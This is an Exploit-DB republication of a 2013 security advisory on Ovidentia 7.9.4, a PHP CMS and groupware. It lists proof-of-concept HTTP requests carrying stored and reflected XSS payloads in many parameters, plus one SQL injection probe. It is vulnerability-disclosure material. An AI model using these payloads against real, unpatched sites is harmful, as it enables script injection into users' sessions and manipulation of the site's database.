标题: Ovidentia 7.9.4 - Multiple Vulnerabilities EDB-ID: 27771 CVE: 2008-4423 2008-3918 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-22 漏洞利用脚本: Ovidentia 7.9.4 Multiple Remote Vulnerabilities


Vendor: Cantico
Product web page: http://www.ovidentia.org
Affected version: 7.9.4

Summary: Ovidentia is both a content management system (CMS) and
a collaborative environment (Groupware).

Desc: Input passed via several parameters is not properly sanitized
before being returned to the user or used in SQL queries. This can
be exploited to manipulate SQL queries by injecting arbitrary SQL
code and HTML/script code in a user's browser session in context of
an affected site.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience



Advisory ID: ZSL-2013-5154
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5154.php



08.08.2013

---

============================================================
#1 - Stored XSS
------------------------------------------------------------

POST http://localhost/ovidentia/index.php HTTP/1.1

tg users
idx Create
pos A
grp 
widget_filepicker_job_uid[] 52154a53cc0de
user[nickname] "><script>alert(1);</script>
user[password1] pass123
user[password2] pass123
user[notifyuser] 0
user[sendpwd] 0
user[sn] Testingusio
user[mn] M
user[givenname] Testa
user[email] "><script>alert(2);</script>


============================================================
#2 - Stored XSS
------------------------------------------------------------

POST http://localhost/ovidentia/index.php HTTP/1.1

user[id] 2
tg user
idx Modify
item 2
pos 
grp 
widget_filepicker_job_uid[] 52154bde9410a
user[nickname] test
user[setpwd] 0
user[password1] 
user[password2] 
user[sendpwd] 0
user[sn] "><script>alert(3);</script>
user[mn] M
user[givenname] "><script>alert(4);</script>
user[email] lab@zeroscience.mk

GET http://localhost/ovidentia/index.php?tg=user&idx=Modify&item=2&pos=&grp= HTTP/1.1


============================================================
#3 - Stored XSS
------------------------------------------------------------

POST http://localhost/ovidentia/index.php HTTP/1.1

Submit2 Update
idx modify
item 1
ovmldetail "><script>alert(5);</script>
ovmlembedded "><script>alert(6);</script>
tg admoc
update ovmldb


============================================================
#4 - Reflected XSSs
------------------------------------------------------------

GET http://localhost/ovidentia/index.php?tg=users&bupd="><script>alert(7);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=addon/widgets/groups&idx=get&id_parent="><script>alert(8);</script>&uid=widget_acl99&levels=2&id_delegation=0
GET http://localhost/ovidentia/index.php?tg=admoc&idx=addoc&item="><script>alert(9);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A"><script>alert(10);</script>&grp=&sSearchText= HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A&grp=&sSearchText="><script>alert(11);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=admfm&idx=modify&fid=1"><script>alert(12);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=options&tg=calopt&urla=javascript:prompt(13); HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1_</script><script>prompt(14)</script>&iIdProject=-1&tg=usrTskMgr
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1&iIdProject=0_</script><script>prompt(15)</script>&tg=usrTskMgr 
GET http://localhost/ovidentia/index.php?ids=1"onmouseover=prompt(16)>&idx=hpriv&tg=topman


============================================================
#5 - SQL Injection
------------------------------------------------------------

GET http://localhost/ovidentia/index.php?tg=admoc&idx=octypes&action=delete_type&item=1%27&entitytype=2 URL: https://www.exploit-db.com/exploits/27771